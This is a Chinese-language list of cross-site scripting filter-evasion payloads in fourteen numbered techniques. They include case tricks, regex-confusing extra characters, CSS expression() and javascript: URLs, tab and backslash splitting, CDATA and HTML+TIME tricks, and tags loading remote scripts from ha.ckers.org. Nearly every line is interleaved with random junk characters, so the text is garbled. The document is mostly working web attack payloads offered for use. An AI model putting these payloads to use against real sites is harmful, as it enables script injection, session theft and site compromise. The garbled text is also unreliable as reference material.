1. 改变字符大小写7 \2 F9 j4 o9 A8 f s
2 ?$ P' F* ~$ ~, `. k! G& I
# _$ \% H, _1 R6 |+ X2 X
" N4 ^, U6 u1 T
<sCript>alert(‘d’)</scRipT>- Z, i* I# O! K
: @; l. `9 r* s( y* i2. 利用多加一些其它字符来规避Regular Expression的检查
& z& V# E0 S1 b; z- X% b1 q& k1 t4 z# H! X
<<script>alert(‘c’)//<</script>$ M8 p+ N7 u) d. s1 x& C
/ q' W$ g8 {3 r+ ?+ l
<SCRIPT a=">" SRC="t.js"></SCRIPT>
$ _& f2 {$ h# I; \# e, A1 u8 f; ~+ o7 f% t0 k7 w( n# L* k
<SCRIPT =">" SRC="t.js"></SCRIPT> l I1 y8 [% f( `
5 R2 Z6 L( j! I; ^ l$ T0 _' ?
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>
0 J; l# k( `6 w+ _" }1 c7 t% G8 c
4 [# j) H5 c* T% a <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
% ^$ J: W) [1 M& C
. x+ B- }3 F- V' K q. w <SCRIPT a=`>` SRC="t.js"></SCRIPT>
/ l6 |$ J% l2 C: ~! y. \* G Y" r1 t8 I; P8 O/ G. K( M) H
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
2 p* T5 c/ n/ L6 X! Z' h& _
+ z1 n( \; U: o% c3. 以其它扩展名取代.js
( @$ ]; \1 [7 k6 Z4 R9 K( g4 N$ \" `
<script src="bad.jpg"></script>1 ]" F p4 ]2 k0 I" a8 n
" L( E( q1 ~5 [! I3 G
4. 将Javascript写在CSS档里( i4 j9 z: @2 A: Q2 x- s$ G
, V, i* I- `5 t2 L/ x( i2 U <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">2 I# Z% e/ ]2 N# n
, [+ l5 Q: k# Q) H
example:
: X+ F# d( \9 x/ v# o4 m9 A7 _: k5 y4 t1 K
body {& }# x6 t: |; v1 B2 K& z/ K1 I$ m! K
. \# k' Y( R5 B# c
background-image: url(‘javascript:alert("XSS");’). y& D Q( J8 p' i
% q5 C4 t9 Z7 U0 D; Q- Q5 d a& K
}
4 y+ P) F' e3 I. Y" x+ o. i
. B# I5 J) U7 v. B& M6 L5. 在script的tag里加入一些其它字符) A6 W! T+ A) A$ G0 [6 q9 Q2 ~% B5 e
4 z4 Z( X9 ]& h# }+ D$ x
<SCRIPT/SRC="t.js"></SCRIPT>
* N. `" A5 R9 K$ G1 o/ U! W1 e0 z' r9 F$ t2 Q
<SCRIPT/anyword SRC="t.js"></SCRIPT>
8 w- h* @5 V, ]4 Q' A9 n/ u9 b
G4 l1 r& Q; h7 h6. 使用tab或是new line来规避" x- s2 M2 |1 |. V. M/ _
$ d: P0 u# y) s6 V: U
<img src="jav ascr ipt:alert(‘XSS3′)">
1 U1 A9 p; S+ A+ `7 P4 F2 Y) Z) t& g0 V: s/ z9 l
<img src="jav ascr ipt:alert(‘XSS3′)">
# y3 ^' O. m" \* X) U; c5 F+ i( A! b% u' T
<IMG SRC="jav ascript:alert(‘XSS’);">3 X6 X7 |. n0 B6 g B
6 z& ^' l: T" g* z6 q; a3 Q
-> tag
5 d1 _: E7 n' [, R# [2 ^! U0 G5 ~
-> new line% Q c0 Q7 r3 i: K/ a8 G, N
+ \$ P" W# k7 l. Z9 B2 _8 h7. 使用"\"来规避
3 j6 _ I, d* h% g4 M
- M1 N' Q4 |9 g& h7 @) }, I0 W <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
6 @6 V: R+ I3 {* n2 w
( i/ l5 _: o" t <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
% W$ `& W: m" d) `$ }
: _. d% ^4 y6 \ B" J3 D& n <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
8 C# P- @! A0 n; K9 B% ]; `) J/ D0 }. T' T! T
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">! z7 |% y$ N3 w8 l
8 Y8 d8 C! {' G+ i. r( O
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>5 F# e- t) q1 w9 D! r* X* t
" n5 s: Z/ o: |( \' H
8. 使用Hex encode来规避(也可能会把";"拿掉)
7 `9 {" G5 H& p3 _4 ]; q% t9 r
7 u& L* J5 j6 ~4 i <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
# s! X! ~2 i3 X7 d, j4 ]. v; m, ?+ U- t" q' ~2 Y: L: D5 k
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">+ ~6 ?0 p5 l" e Q
$ y: j, {0 N P+ t
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">* i/ J- A2 _' N
3 F& |9 J; w4 f" g9 y& V) d" U* B
原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
9 p. C& H+ }4 O1 K8 e" V7 Q$ w. p, j i! U( y+ X _: L9 K
9. script in HTML tag* _& c0 X6 \# i% p& a% b8 o
6 e5 X7 z6 i0 J7 ~/ r <body onload=」alert(‘onload’)」>
* B+ @: T$ N( d2 Z: V0 O6 B
% U S$ _9 G, H8 t& [7 S; Y onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload7 z* e6 @" t, C6 Y! P
. @/ k- P* R# w# ^2 `; D9 U7 U10. 在swf里含有xss的code
& O, U1 s8 z4 b$ W- L0 i: J8 v0 {& m$ p7 m. Q& z
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED># ^" J( o4 k: ?! B' n7 x6 J5 ~
1 u0 u6 k- V' n5 Z) p11. 利用CDATA将xss的code拆开,再组合起来。: \) C; ^# Q+ G K4 e/ K
6 Q7 |7 u0 {2 _1 W <XML ID=I><X><C>1 `( B6 C( V3 B$ u! A$ t7 U/ @2 ~
. o+ e! {- r$ Q5 P- t- n0 n8 g
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
@$ W, S8 Q- C; i# J3 k- U
' z4 @; \* F# Z2 T </C></X>4 k' R+ y1 D1 Z- W. w5 k2 H; m! p% z
+ T, x% v; x' N( } s
</xml>
! x' K2 _7 O1 \1 A8 H* _% ^+ ~; J2 C2 b; C
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
! [! k5 z: q# D( B; _# h: I. P' C7 K. ?& I4 o* W8 B
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>4 k' b4 f/ g8 ^9 k$ X: Q
4 E& W- w! L( C& n+ V5 d
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>0 Y) g/ q3 k7 j4 z9 V: i, H
7 n) Q& ^$ K" J" c
12. 利用HTML+TIME。1 {; j/ G' \1 N: g, v
) f3 [8 e7 Q; l' ^8 O! ?3 f5 c <HTML><BODY>
$ ^5 W5 Z1 |, {1 [: q! J. C% H i) r* C5 T6 T+ D: @7 \$ n, s
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
. s4 y+ U: Z' A' `0 h: x
. E' I' e5 x5 J7 ]1 Z <?import namespace="t" implementation="#default#time2">8 k8 T# a4 D% f; M' T7 G
7 h1 m0 l1 R* Z* ]' _+ [, ] <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">. Z6 U. R& [+ g) s' I- i
7 U7 t: K7 t/ k0 W </BODY></HTML>
/ s7 W) w# x' S8 T! c: i
+ i( ?; o: B7 C5 ~% x/ \. O13. 透过META写入Cookie。1 C4 }8 h K G# f) l! z
1 y6 F, I1 `# E2 h2 t <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">) u0 D. n9 g5 D
6 S5 R2 T2 F3 b! ~14. javascript in src , href , url
4 |4 [0 X3 X: V, k* k# k# |" ~6 {/ x N/ ]9 F
<IFRAME SRC=javascript:alert(’13′)></IFRAME>* y+ T" L- ]# P; ^) u
5 |7 n! Q3 M8 R8 {& r y
<img src="javascript:alert(‘XSS3′)">
3 B, ^2 E Z" w/ J+ b% t" w; }; V" G! h6 t3 G
<IMG DYNSRC="javascript:alert(‘XSS20′)">/ R3 l8 q$ z# f
% x, Q0 n7 n3 b5 C! T, x
<IMG LOWSRC="javascript:alert(‘XSS21′)">" X' m* \! h, d8 s/ Z* y1 s
/ N: F1 c/ T+ w$ D" Q; I6 W
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">" U2 M3 a3 L' E* U7 H% L1 k
9 h, T/ P, h$ }, t l3 |1 ^( |
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
4 N* ^; s6 F: \' t d% F, T% X
. q/ w& R$ X, D9 B$ j <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
) _9 E/ I% p" \6 h/ _6 r7 d
$ t3 `1 d( s3 n; I3 t3 I' M <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">& l2 r+ \+ ^+ Y: B* Q3 j
% \: X5 S) w; R* V7 f& Z* K
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}" E7 e4 |6 z& B* E$ T# j
u, a5 |6 f( ]; _, F! o3 R </STYLE><A CLASS=XSS></A>) `- r7 h- r0 `& I6 J) a
& X5 L$ a( T$ H. E <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
i, u! K G9 }, p$ j+ g
$ O3 c: k; n" k: y |